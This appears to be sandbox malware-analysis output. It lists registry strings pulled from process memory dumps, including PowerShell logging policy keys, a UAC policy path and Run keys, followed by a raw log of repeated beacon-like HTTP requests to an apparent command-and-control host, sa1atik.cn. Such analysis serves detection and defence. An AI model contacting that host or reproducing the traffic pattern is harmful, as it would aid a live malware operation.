00000000-00002136.00000000.136196.05280000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002136.00000001.137903.03050000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00002136.00000001.137903.03050000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00002136.00000001.137903.03050000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002136.00000001.137903.03050000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002136.00000001.137903.03050000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002136.00000001.137903.07842000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00002136.00000001.137903.08BEC000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00002136.00000001.137903.08BEC000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00004272.00000000.136319.03E90000.00000004.mdmp "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00004272.00000000.136319.06080000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004648.00000000.135220.02C20000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004648.00000000.135220.04FD0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004648.00000000.135220.04FD0000.00000004.mdmp "SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}" in Source: 00000000-00004648.00000000.135220.04FD0000.00000004.mdmp "SOFTWARE\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}" in Source: 00000000-00004648.00000000.135220.04FD0000.00000004.mdmp "SOFTWARE\dotnet" in Source: 00000000-00004648.00000000.135220.04FD0000.00000004.mdmp "HKCU\" in Source: 00000000-00004648.00000000.135220.04FD0000.00000004.mdmp "HKLM\" in Source: 00000000-00004648.00000000.135220.04FD0000.00000004.mdmp "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00004952.00000000.135303.06000000.00000004.mdmp "ISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004952.00000001.135536.0082C000.00000004.mdmp ":\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9E175B6D-F52A-11D8-B9A" in Source: 00000000-00004952.00000001.135536.0082C000.00000004.mdmp "Software\Microsoft\EdgeUpdate\Clients\{F3C4FE00-EFD5-403B-9569-398A20F1BA4A}" in Source: 00000000-00005096.00000000.138724.000F1000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\SystemInformation" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\Windows\CurrentVersion\MicrosoftEdge" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "KLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge Update" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "KLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "Software\Microsoft\%ws\UsageStats\Daily" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKU\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\EdgeUpdateDev\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\MicrosoftEdge" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Setup\State" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "KLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Policies\Microsoft\EdgeUpdate\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\SOFTWARE\Policies\Microsoft\Copilot" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCU\Software\Microsoft\EdgeUpdate\ClientState\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCU\Software\Microsoft\EdgeUpdate\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCU\Software\Microsoft\EdgeUpdate\ClientState\{F3C4FE00-EFD5-403B-9569-398A20F1BA4A}" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\EdgeUpdate\ClientState\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\EdgeUpdate\ClientState\{F3C4FE00-EFD5-403B-9569-398A20F1BA4A}" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\EdgeUpdate\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "Software\Microsoft\EdgeUpdate\DownloaderLockout" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\EdgeUpdateDev\CdpNames\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\EdgeUpdateDev\AdditionalInstallArgs\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "Software\Classes" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\Windows NT\CurrentVersion\NetworkCards" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCU\Software\Microsoft\EdgeUpdate\Clients\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\EdgeUpdate\Clients\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\EdgeUpdate\ClientStateMedium\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "Software\Microsoft\EdgeUpdate\Clients\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "Software\Microsoft\EdgeUpdate\ClientState\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Google\Update" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Google\Update\Clients\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Google\Update\ClientState\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "Software\Microsoft\EdgeUpdate\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCU\Software\Microsoft\EdgeUpdate\Clients\{F3C4FE00-EFD5-403B-9569-398A20F1BA4A}" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\EdgeUpdate\Clients\{F3C4FE00-EFD5-403B-9569-398A20F1BA4A}" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\%s" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "Software\Microsoft\EdgeUpdate\proxy" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\SOFTWARE\Clients\StartMenuInternet" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "SOFTWARE\Clients\StartMenuInternet" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCR\http\shell\open\command" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCR\Applications\FIREFOX.EXE\shell\open\command" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCR\CLSID\{0002DF01-0000-0000-C000-000000000046}\LocalServer32" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCR\Applications\chrome.exe\shell\open\command" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCU\SOFTWARE\Clients\StartMenuInternet" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Policies\Microsoft\Edge\WebView2\DowngradeVersion" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\PackageRepository\Packages" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "SOFTWARE\Microsoft\SQMClient" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCR\CLSID\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "\SOFTWARE\Classes" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKCU\Software\Microsoft\" in Source: 00000000-00005096.00000000.138724.743BE000.00000002.mdmp "HKLM\Software\Microsoft\EdgeUpdate\ClientState\{F3C4FE00-EFD5-403B-9569-398A20F1BA4A}" in Source: 00000000-00005096.00000001.139552.02C70000.00000004.mdmp "HKLM\Software\Microsoft\EdgeUpdate\ClientStateMedium" in Source: 00000000-00005096.00000001.139552.02C70000.00000004.mdmp "Software\Microsoft\EdgeUpdate\ClientState\{F3C4FE00-EFD5-403B-9569-398A20F1BA4A}" in Source: 00000000-00005096.00000001.139552.02C9F000.00000004.mdmp "HKLM\Software\Microsoft\EdgeUpdate\ClientStateMedium\" in Source: 00000000-00005096.00000001.139552.02C9F000.00000004.mdmp "HKLM\Software\Microsoft\EdgeUpdate\ClientStateMedium\{F3C4FE00-EFD5-403B-9569-398A20F1BA4A}" in Source: 00000000-00005096.00000001.139552.02C9F000.00000004.mdmp "HKLM\Software\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}" in Source: 00000000-00005096.00000001.139552.02C9F000.00000004.mdmp "HKLM\Software\Microsoft\EdgeUpdate\ClientState\{F3C4FE00-EFD5-403B-9569-398A20F1BA4A}" in Source: 00000000-00005096.00000001.139552.02C9F000.00000004.mdmp "HKLM\Software\Microsoft\EdgeUpdate\ClientState\" in Source: 00000000-00005096.00000001.139552.02CB8000.00000004.mdmp "HKLM\Software\Microsoft\EdgeUpdate\ClientState" in Source: 00000000-00005096.00000001.139552.02CB8000.00000004.mdmp "Software\Microsoft\EdgeUpdate\ClientState\" in Source: 00000000-00005096.00000001.139552.02CB8000.00000004.mdmp "Software\Microsoft\EdgeUpdateDev\" in Source: 00000000-00005096.00000001.139552.02CB8000.00000004.mdmp "HKLM\Software\Microsoft\EdgeUpdateDev\" in Source: 00000000-00005096.00000001.139552.02CB8000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Copilot" in Source: 00000000-00005096.00000001.139552.02CB8000.00000004.mdmp "HKLM\Software\Microsoft\Windows\CurrentVersion\MicrosoftEdge" in Source: 00000000-00005284.00000000.139516.2AD68000.00000002.mdmp "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\" in Source: 00000000-00005284.00000000.139516.2AD68000.00000002.mdmp "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge Update" in Source: 00000000-00005284.00000000.139516.2AD68000.00000002.mdmp "Software\Classes" in Source: 00000000-00005284.00000000.139516.2AD68000.00000002.mdmp "HKLM\Software\Policies\Microsoft\EdgeUpdate\" in Source: 00000000-00005284.00000000.139516.2AD68000.00000002.mdmp "HKLM\SOFTWARE\Policies\Microsoft\Copilot" in Source: 00000000-00005284.00000000.139516.2AD68000.00000002.mdmp "Software\Policies\Microsoft\EdgeUpdate\" in Source: 00000000-00005284.00000000.139516.F1660000.00000004.mdmp "HHKLM\Software\Policies\Microsoft\EdgeUpdate\" in Source: 00000000-00005284.00000000.139516.F1660000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\EdgeUpdate\" in Source: 00000000-00005284.00000000.139516.F1660000.00000004.mdmp "stry\Machine\Software\Classes\In" in Source: 00000000-00005500.00000000.135851.03B82000.00000004.mdmp "Registry\Machine\Software\Class" in Source: 00000000-00005500.00000000.135851.03B82000.00000004.mdmp "\Software\Classes\Interface\{02D" in Source: 00000000-00005500.00000000.135851.03B82000.00000004.mdmp "hine\Software\Classes\Interface" in Source: 00000000-00005500.00000000.135851.03B82000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00005500.00000000.135851.03BB1000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\ProductOptions|ProductSuite" in Source: 00000000-00005500.00000000.135851.03BB1000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00005500.00000000.135851.03BB1000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00005500.00000000.135851.03BB1000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00005500.00000000.135851.03BB1000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00005500.00000002.139690.03BB4000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\ProductOptions|ProductSuite" in Source: 00000000-00005500.00000002.139690.03BB4000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00005500.00000002.139690.03BB4000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00005500.00000002.139690.03BB4000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00005500.00000002.139690.03BB4000.00000004.mdmp "ptSoftware\Policies\Microsoft\EdgeUpdate\" in Source: 00000000-00006152.00000000.138812.38250000.00000004.mdmp "HKLM\Software\Microsoft\EdgeUpdateDev\" in Source: 00000000-00006152.00000000.138812.38250000.00000004.mdmp "Software\Microsoft\EdgeUpdate\" in Source: 00000000-00007728.00000000.138254.00D20000.00000004.mdmp "HKLM\Software\Microsoft\EdgeUpdate\ClientStateMedium\" in Source: 00000000-00007728.00000000.138254.00D20000.00000004.mdmp "Software\Microsoft\EdgeUpdate\ClientStateMedium\" in Source: 00000000-00007728.00000000.138254.00D20000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00007728.00000000.138254.00D20000.00000004.mdmp "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe" in Source: 00000000-00007728.00000000.138254.00D20000.00000004.mdmp "Software\Microsoft\EdgeUpdate\Clients\{F3C4FE00-EFD5-403B-9569-398A20F1BA4A}" in Source: 00000000-00007728.00000000.138254.00FB1000.00000020.mdmp "SOFTWARE\dotnet" in Source: 00000000-00007748.00000000.135293.AA2CA000.00000002.mdmp "HKCU\" in Source: 00000000-00007748.00000000.135293.AA2CA000.00000002.mdmp "HKLM\" in Source: 00000000-00007748.00000000.135293.AA2CA000.00000002.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00008188.00000000.136827.03390000.00000004.mdmp "ripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A07" in Source: 00000000-00008188.00000000.136827.03390000.00000004.mdmp42:T92bf,"GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 88 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:29:06 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=4OBwbsGoSETzV3KrqxlQD4%2FpUuNZB9HdySl5Q9Ys4lU6XHU58KY0tO0dWlQ281EJNH5N0alCHw%2Fh4TdptACXjg1estZRl9gZ6KOnv4LzUFKuHhiFL8ccqRkNKg74YydMU2IFlgdJEOJp"}]} CF-RAY: a3fb9ce93de95814-VIE alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C39BC292C39EC2A1C380C2A3C39EC28B20C29C....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 335 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:29:08 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=J0Fym1c2PWgyHjJMqxXWezOBLnRpi%2FfbbN5oNCgEGMyQs1mxdbjNbE6aB%2FdiY0p82ssHYS9c%2FjS6GJWcCvMwyUfw1Y6rtERJOu4O9FnVgZCTTqmkTAmtpkY3AivB"}]} CF-RAY: a3fb9cf64d2963e8-LHR alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C28BC39657C396C38AC39FC280C384C2B3C38AC2A4C392C2883AC38EC282C38CC2A1C396C285C380C2BEC39FC291C382C3B3....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 88 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:29:11 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=bIPmJU1ZzTP01Z%2FJbq6u1Y3jcQBEKdQpDnkMTMKwJajttIw94NJJO8bFqR0nffp7xPu1kmchMsRBE0rLjqA5zcKtNImTMNq9MAYiDiSH6hg5wYjhM6Q4JxOmM8o1pLdsI%2BjPjvfY2DTg"}]} CF-RAY: a3fb9d0cbc22b855-VIE alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C39BC292C39EC2A1C380C2A3C39EC28B20C29C....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 335 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:29:13 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=g8Vj9MevQYpt0Rd6oIbGdJpuqN1Cvg6ZA9yntCS24KvVWSx5foccRFhL2vAwoUiOR9aQvwDzf4siH%2F%2Fb1SIkVseW0X5Jj3kaLJf942nT4JbYIPxMUFWIKYzXuwlD"}]} CF-RAY: a3fb9d19993b76fc-LHR alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C28BC39657C396C38AC39FC280C384C2B3C38AC2A4C392C2883AC38EC282C38CC2A1C396C285C380C2BEC39FC290C383C3B3....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:29:14 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=8vMqpEgadUIuV9BEl0F1%2Fa5SPOiQZeSw%2BCTzy7a0iCyRPGBzzliiW%2FGYZ2oP1vA8F5cplC7BMlG%2FrqYXGp3ugzJP32bCMHpgpAPxAD5NpKeu7gYXhAAHn3Nu8VaUIVgg3rATatnBq59C"}]} CF-RAY: a3fb9d1efb995b5a-VIE alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C29623C398C280C393C2A0C39FC290C381C2A8C39BC38F....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 69 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:29:15 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=C4rRZ186Anp2eYk7zEHevFmDoUk8s%2Fffvj8zQ3SQE4EWJFTLfujpA%2FC1Lisd7tU67pMskx1SWjzMMJlpNyX5bTIT2Sz4MKroX2HcMEbj6UQCPrWNAkTMLTgQ0fVdP%2Bz1uPIeTjNg1rnA"}]} CF-RAY: a3fb9d21ca10c747-VIE alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with no response body "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:29:25 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=RudnHmdp%2BTBojHisvqTb8Egsa64zeAwy4%2F5py60HP%2BbyGfFlpDPeX5QqAze%2FbZL5GTeejPyYIkDZz1knHlKCXapwB76hyUJaicdaRc1YOEXS4IVupR4f6YeFn4sO"}]} CF-RAY: a3fb9d61ca34779c-LHR alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C29622C39CC28CC39AC2A0C39FC290C381C2A8C39BC38F....... "GET /sa1at/ HTTP/1.1 Host: 